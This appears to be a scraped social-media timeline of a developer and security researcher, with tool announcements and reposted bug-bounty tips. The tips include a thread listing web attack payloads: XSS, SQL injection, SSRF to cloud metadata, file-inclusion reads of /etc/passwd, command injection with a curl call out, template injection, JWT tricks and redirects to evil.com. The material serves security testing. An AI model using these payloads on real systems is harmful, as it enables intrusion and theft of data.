Karan Sharma

Developer | Security Researcher

[Karan Sharma @karan_srma]

@rpa_dake Exactly. Convera is a free tool for freelancers who need professional client replies. It captures the message, sends it to Gemini, generates a reply, and you copy it manually. Platform UI limits make auto-sending difficult across all platforms.

[Karan Sharma @karan_srma]

🚀 Built Convera.

An AI conversation assistant for freelancers & small businesses.

📩 Select customer messages
🤖 Generate professional reply suggestions with Gemini
📋 Copy & reply manually
🆓 Free & open source
https://t.co/ww94MSSurI
#AI #BuildInPublic #OpenSource #WebDev

[Karan Sharma @karan_srma]

@mark_443_ Find another one and exploit it 😉

[Karan Sharma @karan_srma]

🚀 Better recon = Better bug bounty results.

This recon roadmap covers OSINT, subdomain enumeration, crawling, JavaScript analysis, API discovery, and more—all in one place.

🔗 https://t.co/KokpYMJkPD

#BugBounty #Recon #CyberSecurity #AppSec

[khan mamun @mamunwhh]

Time-Based SQL Injection Is Still Everywhere!🔥

You can fingerprint the backend DB version with

'; IF (SUBSTRING(@@VERSION,1,1) = 'M') WAITFOR DELAY '0:0:10' --

Delay = proof.

Thanks dude

#BugBounty #SQLi #bugbountytips #hackerone

[VIEH Group @viehgroup]

Advanced Payloads Every Bug Bounty Hunter Should Test 🧵

━━━━━━━━━━
XSS PAYLOADS
━━━━━━━━━━

"><svg/onload=alert(document.domain)>

<iframe src=javascript:alert(1)>

<img src=x onerror=confirm(1)>

<details open ontoggle=alert(1)>

<svg><script>alert(1)</script>

javascript:alert(document.cookie)

'-alert(1)-'

${alert(1)}

{{constructor.constructor('alert(1)')()}}

━━━━━━━━━━
SQLi PAYLOADS
━━━━━━━━━━

' OR '1'='1

admin' --

' UNION SELECT NULL,NULL,NULL--

' AND SLEEP(5)-- -

'||(SELECT pg_sleep(5))||

1 WAITFOR DELAY '0:0:5'

' UNION SELECT @@version--

' OR updatexml(1,concat(0x7e,user()),1)--

━━━━━━━━━━
SSRF PAYLOADS
━━━━━━━━━━

http://127.0.0.1:80

http://169.254.169.254/latest/meta-data/

http://localhost/admin

file:///etc/passwd

gopher://127.0.0.1:25/xHELO

dict://127.0.0.1:11211/stat

http://0x7f000001

http://2130706433

━━━━━━━━━━
LFI PAYLOADS
━━━━━━━━━━

../../../../etc/passwd

....//....//....//etc/passwd

/etc/passwd%00

php://filter/convert.base64-encode/resource=index.php

php://input

/proc/self/environ

../../../../windows/win.ini

━━━━━━━━━━
COMMAND INJECTION
━━━━━━━━━━

;id

&& whoami

| uname -a

$(id)

`whoami`

; curl https://t.co/Imb3d3ieqx

|| ping -c 4 127.0.0.1

%0Aid

━━━━━━━━━━
SSTI PAYLOADS
━━━━━━━━━━

{{7*7}}

{{config.items()}}

${7*7}

<%= 7*7 %>

{{self.**init**.**globals**}}

{{request.application.**globals**}}

${{<%[%'"}}%\

━━━━━━━━━━
JWT ATTACKS
━━━━━━━━━━

{"alg":"none"}

HS256 → RS256 confusion

kid="../../../../dev/null"

kid="|/bin/uname"

empty signature tokens

━━━━━━━━━━
OPEN REDIRECT BYPASSES
━━━━━━━━━━

//evil.com

https://t.co/A8g3XlZ1vU

/%2f%https://t.co/2SijAqj5le

javascript:alert(1)

https:https://t.co/69sZT0aeVj

//evil.com

━━━━━━━━━━
HEADER BYPASSES
━━━━━━━━━━

X-Forwarded-For: 127.0.0.1

X-Originating-IP: 127.0.0.1

Client-IP: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Host: 127.0.0.1

Real hackers don’t memorize payloads.

They understand why payloads work.

- VIEH Group

#bugbounty #bugbountytips #infosec

[Karan Sharma @karan_srma]

@mamunwhh Can't send DMs right now due to X restrictions. Feel free to message me.

[Karan Sharma @karan_srma]

@mamunwhh Hey, I'm interested. I have experience with Web2 security testing and would love to collaborate.

[Karan Sharma @karan_srma]

I was tired of manually finding leads… so I built my own tool 🤝

This Python tool scrapes Google Maps and gives you business leads in minutes 🚀

→ Keyword + Location
→ Auto scraping
→ Export data
100% free &amp; open-source 👇
https://t.co/bNV9v14LEm
Would love feedback 🙌

[Behi @Behi_Sec]

💡 XSS Trick:

Split payload across fields.

Example:
FName=&lt;img src=x
LName=onerror=alert(1)&gt;

When the app renders FName + LName, your pieces join and fire.

Good to try on the signup/profile forms.

[Behi @Behi_Sec]

Bug Bounty Tip:

If you have a UUID-based IDOR and can't find a valid UUID of other users, do this:

Search the endpoints that hold UUIDs on GitHub!

You will usually find that other users have left their UUIDs in their sample codes/scripts.

[Karan Sharma @karan_srma]

@Behi_Sec Solution please 😃

[Karan Sharma @karan_srma]

@Crizillion_M Hey, I didn't got writup but I got some answers of my questions, do you need?

[Karan Sharma @karan_srma]

@Crizillion_M Ok bro if I got, then I'll share with you.

[Karan Sharma @karan_srma]

@PurbiaLaxita I can't dm you there is no option for dm in your profile. 😐

[Karan Sharma @karan_srma]

@PurbiaLaxita So where is link 🥲

[Karan Sharma @karan_srma]

@zack0x01 Can you send a link or any details, if available.

[Behi @Behi_Sec]

XSS Trick:

Don't forget URL-based payloads.

Example:
/test%27%20alert(document.location),%20%27

Sometimes the path itself is reflected and breaks into JS.

Test both path and query parts.